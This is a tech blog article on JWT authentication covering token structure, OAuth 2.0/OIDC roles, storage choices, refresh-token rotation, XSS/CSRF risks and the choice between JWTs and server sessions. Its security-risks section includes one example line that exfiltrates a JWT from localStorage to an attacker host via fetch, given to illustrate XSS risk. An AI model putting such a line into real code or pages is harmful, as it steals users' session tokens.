Articles

Master JWT Authentication: Best Practices and Ideal Use Cases

This guide breaks down JWT fundamentals, how they fit into OAuth 2.0 and OIDC, secure storage strategies, token rotation, and common security pitfalls. It also helps you decide when JWTs are the right choice versus traditional server‑side sessions.

Written by:
APin

Senior Technology Analyst • Verified Expert

More from this author →
Master JWT Authentication: Best Practices and Ideal Use Cases

This guide breaks down JWT fundamentals, how they fit into OAuth 2.0 and OIDC, secure storage strategies, token rotation, and common security pitfalls. It also helps you decide when JWTs are the right choice versus traditional server‑side sessions.

What is a JWT and How It Works

JSON Web Token (JWT) is a compact, URL‑safe representation of a set of claims transferred between two parties, typically a server and a client. A JWT consists of three Base64URL‑encoded parts separated by periods: header.payload.signature. The header is a JSON object that describes the token type and the cryptographic algorithm used, for example {"typ":"JWT","alg":"HS256"}. The payload (or claims) contains the data the token carries, such as user identifiers or roles, e.g. {"id":"1234567890","name":"John Doe","age":36}. The signature is produced by applying the algorithm declared in the header to the encoded header and payload, using a secret key (for symmetric algorithms) or a private key (for asymmetric algorithms).

When the alg value is "none", the token is unsigned. An example of an unsigned token is:

eyJhbGciOiJub25lIn0.eyJpZCI6IjEyMzQ1Njc4OTAiLCJuYW1lIjoiSm9obiBEb2UiLCJhZ2UiOjM2fQ

Because no cryptographic binding exists between the header, payload, and a secret, anyone can modify the payload and re‑encode the token without detection. This makes unsigned tokens unsuitable for authentication, as the integrity of the claims cannot be verified.

A signed JWT (also called a JSON Web Signature, JWS) adds a third component that protects against tampering. A typical signed token looks like:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjEyMzQ1Njc4OTAiLCJuYW1lIjoiSm9obiBEb2UiLCJhZ2UiOjM2fQ.4SkNQ2QZ8z5Lh7W0n2FK8KnXxXq_9yPmyMslK9YpN0A

The signature is generated by hashing the concatenated header and payload with the algorithm specified (e.g., HMAC‑SHA‑256) and the secret key your-256-bit-secret. During verification, the server recomputes the hash and compares it to the received signature. If they differ, the token has been altered and must be rejected.

  • Integrity: The signature guarantees that the payload has not been changed since issuance.
  • Authenticity: Only parties possessing the secret or private key can create a valid signature, proving the token originated from a trusted issuer.
  • Stateless validation: APIs can validate claims without a database lookup, because the signed token itself is self‑contained and verifiable.

In practice, authentication flows issue a signed JWT after a user logs in, store it (e.g., in localStorage or a secure cookie), and present it on each request. The server validates the signature on every request, ensuring that the claims used for authorization remain trustworthy.

Using JWTs for Authentication

When a user submits credentials to an authentication endpoint, the server validates them and, upon success, creates a JSON Web Signature (JWS)—a JWT that includes a header, a payload of claims (e.g., sub, email), and a cryptographic signature generated with a secret or private key. The resulting token has the form header.payload.signature and is returned in the response body (commonly as JSON) or in an Authorization header.

On the client side the token must be persisted securely so it can be attached to future API calls. The two most common browser storage mechanisms are:

  • httpOnly cookies – sent automatically with each request to the token’s domain, protected from JavaScript access, which mitigates XSS risk but can be vulnerable to CSRF unless the SameSite attribute is set.
  • Web storage (localStorage or sessionStorage) – accessible via JavaScript, convenient for single‑page applications, but requires additional CSRF defenses (e.g., double‑submit cookies) and strict Content‑Security‑Policy to reduce XSS exposure.

After storage, every protected request should include the JWT in the Authorization: Bearer <token> header. A typical request flow looks like this:

  1. Read the token from the chosen storage location.
  2. Attach it to the Authorization header of the HTTP request.
  3. Send the request to the API endpoint.
  4. The API validates the signature using the shared secret or public key, checks token expiration (exp claim), and extracts claims for authorization decisions.

Example of attaching a token in JavaScript:

const token = localStorage.getItem('accessToken');
fetch('/api/orders', {
  method: 'GET',
  headers: {
    'Authorization': `Bearer ${token}`,
    'Content-Type': 'application/json'
  }
});

Best‑practice recommendations, aligned with OWASP’s Authentication Cheat Sheet, include:

  • Use short‑lived access tokens (minutes to hours) and rotate them with refresh tokens.
  • Store the refresh token in an httpOnly, SameSite‑strict cookie.
  • Validate the token on every request; do not rely on client‑side checks.
  • Enforce TLS for all token transmission to protect against eavesdropping.

By following this flow—secure signing, deliberate storage choice, and consistent header presentation—enterprise applications can leverage JWTs for stateless authentication while maintaining compliance with security standards such as NIST SP 800‑63 and ISO 27001.

JWTs Within OAuth 2.0 and OpenID Connect

In an OAuth 2.0 flow the server issues an access token that the client presents to a protected API. The specification does not require a particular format, but JSON Web Tokens (JWTs) have become the de‑facto choice because they are self‑contained and can be verified locally without a network call.

OpenID Connect (OIDC) adds an identity layer on top of OAuth 2.0. The OIDC protocol always returns an ID token, which is a JWT that carries claims about the authenticated user (e.g., sub, email, name). The ID token is intended for the client application to establish “who the user is”; it is not meant for resource servers.

Typical OIDC response includes three tokens:

  • ID token – JWT, read by the client to verify the user’s identity.
  • Access token – often a JWT, presented to APIs for authorization.
  • Refresh token – opaque or JWT, used only with the authorization server to obtain new access tokens.

Practical example (simplified):

// ID token (client reads)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvZSIsImVtYWlsIjoiam9lQGV4YW1wbGUuY29tIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

// Access token (API validates)
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2F1dGguZXhhbXBsZS5jb20iLCJzdWIiOiIxMjM0Iiwic2NvcGUiOiJyZWFkOmRhdGEifQ.Qd5K8...

When an API receives a token, it must:

  • Verify the signature using the issuer’s public key.
  • Validate standard claims (exp, iss, aud).
  • Check any scope or permission claims relevant to the endpoint.

A common mistake is to use the ID token for API authorization. Because the ID token’s claims describe the user rather than the client’s granted permissions, an API that trusts it may inadvertently expose data or allow actions the user never consented to. The correct pattern is to validate the access token for every protected request and keep the ID token confined to the client’s session logic.

In summary, JWTs serve two distinct purposes in OIDC:

  • ID token – identity verification for the client.
  • Access token – authorization credential for APIs.

Ensuring each token is used only for its intended audience eliminates the most frequent security misconfiguration in modern OAuth 2.0/OIDC implementations.

Secure Storage, Expiration, and Refresh Token Rotation

JSON Web Tokens (JWTs) are signed strings that convey authentication claims without requiring a server‑side session store. Because the token is self‑contained, the client must keep it somewhere it can be read on each request. The storage location determines the attack surface: localStorage and sessionStorage are vulnerable to cross‑site scripting (XSS), while cookies can be vulnerable to cross‑site request forgery (CSRF) unless proper flags are set.

Storage considerations

  • localStorage persists across tabs and browser restarts, making it convenient but exposing the token to any script that runs in the origin. Use only if the application is hardened against XSS (e.g., CSP, input sanitisation).
  • sessionStorage clears when the tab or window closes, reducing exposure time. It still suffers from XSS, but the token is not shared across tabs.
  • HttpOnly, Secure, SameSite=Strict cookies are not accessible to JavaScript, eliminating XSS leakage. To mitigate CSRF, combine the cookie with a double‑submit token or use the SameSite attribute.

Best practice is to store short‑lived access tokens in memory (or sessionStorage) and keep refresh tokens in an HttpOnly cookie. This limits the impact of a token theft: an attacker can only use a stale access token until it expires.

Token lifetimes

  • Access token: typically 5–15 minutes. Short lifetimes reduce the window for replay attacks and align with the principle of least privilege.
  • Refresh token: can be valid for days or weeks, but must be rotated on each use (see below).

When an access token expires, the client sends the refresh token to the token endpoint. The server validates the refresh token, issues a new access token, and returns a new refresh token (rotation).

Refresh token rotation strategy

  • Store the refresh token in an HttpOnly cookie.
  • On each refresh request, invalidate the previous token in the database and issue a fresh one.
  • Log the rotation event and, if a token is presented that has already been revoked, trigger a security alert and optionally revoke all tokens for the user (aligns with SOC 2 and ISO 27001 requirements for incident response).

Example rotation endpoint (Node.js/Express):

app.post('/token/refresh', async (req, res) => {
  const oldToken = req.cookies.refresh;
  const payload = await verifyRefreshToken(oldToken);
  await revokeToken(oldToken);               // invalidate old token
  const newAccess = signAccessToken(payload);
  const newRefresh = await issueRefreshToken(payload);
  res.cookie('refresh', newRefresh, { httpOnly: true, secure: true, sameSite: 'strict' });
  res.json({ accessToken: newAccess });
});

By limiting the lifespan of access tokens, storing them in a low‑persistence location, and rotating refresh tokens on every use, an enterprise application reduces the risk of token compromise while remaining compliant with standards such as NIST SP 800‑63B and OWASP ASVS.

Security Risks: XSS, CSRF, and JWT Limitations

Cross‑site scripting (XSS) and cross‑site request forgery (CSRF) exploit the way a client stores authentication material. When a JWT is placed in localStorage or sessionStorage, any script that runs in the origin can read the token, so a successful XSS attack immediately yields a bearer token that can be replayed against protected APIs. Conversely, storing the JWT in an HttpOnly cookie mitigates direct script access, but the cookie is automatically attached to every request, which makes it a CSRF target unless the application employs same‑site attributes or anti‑CSRF tokens.

Typical mitigation patterns derived from OWASP recommendations include:

  • Prefer HttpOnly; SameSite=Strict cookies for short‑lived access tokens.
  • Use a separate, non‑JWT CSRF token (e.g., a double‑submit cookie) for state‑changing endpoints.
  • Apply a strict content‑security‑policy (CSP) to reduce the likelihood of XSS injection.

JWTs also have intrinsic limitations that affect their suitability for certain architectures:

  • Size constraints: Because a JWT consists of three base64url‑encoded parts, adding many claims or large custom data can push the token beyond typical HTTP header limits (≈8 KB). Oversized tokens increase latency and may be rejected by proxies.
  • Lack of encryption by default: A signed JWT (JWS) guarantees integrity but not confidentiality. Sensitive information must either be omitted or the token must be wrapped in a JSON Web Encryption (JWE) envelope, which adds processing overhead.
  • Revocation difficulty: Stateless verification means a compromised token remains valid until its expiration. Scenarios requiring immediate revocation—such as account lockout, privilege downgrade, or regulatory compliance (ISO 27001, NIST SP 800‑63)—are better served by server‑side session stores that can be invalidated on demand.

Practical examples:

  • A single‑page application that stores a JWT in localStorage and later suffers an XSS injection can have the token exfiltrated via fetch('https://attacker.com/steal?token=' + localStorage.getItem('jwt')).
  • An API that expects a JWT in the Authorization: Bearer header may reject a token that exceeds the header size limit, causing a 431 error.

When designing authentication, engineers should first assess the attack surface introduced by the chosen storage mechanism, then evaluate whether the token’s size, confidentiality, and revocation requirements align with the application’s risk profile. In many high‑risk or compliance‑driven environments, traditional server‑side sessions remain the more secure default.

Choosing Between JWTs and Server‑Side Sessions

JSON Web Tokens (JWTs) are signed, self‑contained strings that carry a header, payload (claims), and a cryptographic signature. Because the signature can be verified without a database lookup, an API can trust the claims it receives as long as the signing key remains secret. Server‑side sessions, by contrast, store a session identifier in a cookie and keep the full user state (e.g., roles, CSRF token, expiration) on the backend, typically in memory, a database, or a distributed cache.

When JWTs are preferable

  • Stateless microservice architectures where each service must validate a token without a round‑trip to a central store.
  • Cross‑domain or mobile clients that need a portable token for API calls (e.g., OAuth 2.0 access tokens or OpenID Connect ID tokens).
  • Scenarios requiring short‑lived access tokens combined with refresh‑token rotation to mitigate replay attacks, as described in OWASP’s authentication cheat sheet.

When server‑side sessions are preferable

  • Applications with high security requirements (SOC 2, ISO 27001, NIST SP 800‑63) that need immediate revocation of a compromised credential; the server can delete the session entry instantly.
  • Environments where XSS risk is high; storing a JWT in localStorage or sessionStorage expands the attack surface, whereas an HttpOnly, Secure cookie used for a session ID is less exposed.
  • Use cases with large claim payloads (e.g., extensive permission matrices) that would bloat the token and exceed typical header size limits.

Decision criteria for developers

  • Revocation model: If you must invalidate a token on demand, choose server‑side sessions; JWTs rely on short expirations and refresh‑token rotation.
  • Scalability vs. statefulness: Stateless JWT validation scales horizontally without shared session stores; session‑based approaches require a consistent store (Redis, database) or sticky sessions.
  • Payload size and frequency of claim changes: Frequent updates to user permissions favor sessions; infrequent changes suit JWTs.
  • Client storage constraints: Mobile or SPA clients that cannot reliably store HttpOnly cookies may need JWTs stored in secure storage mechanisms.

In practice, a hybrid approach is common: use a short‑lived JWT for API authentication while maintaining a server‑side session for privileged actions that require immediate revocation. This balances the scalability of stateless tokens with the control of stateful session management.

APPWORKS ENGINEERING

Looking for Custom Software or AI Solutions?

Appworks Technologies designs, builds, and scales production enterprise platforms, microservices, and AI agent workflows tailored to your business goals.

Editorial Policy & Research Methodology

Our findings are based on rigorous internal research, verified industry benchmarks, and direct technical implementation experience from our enterprise client projects. All statistics and technical claims are reviewed by senior engineers before publication to ensure accuracy, transparency, and helpfulness for our readers.

Have an Idea? we offer services in Lucknow, Bangalore, Delhi NCR and other locations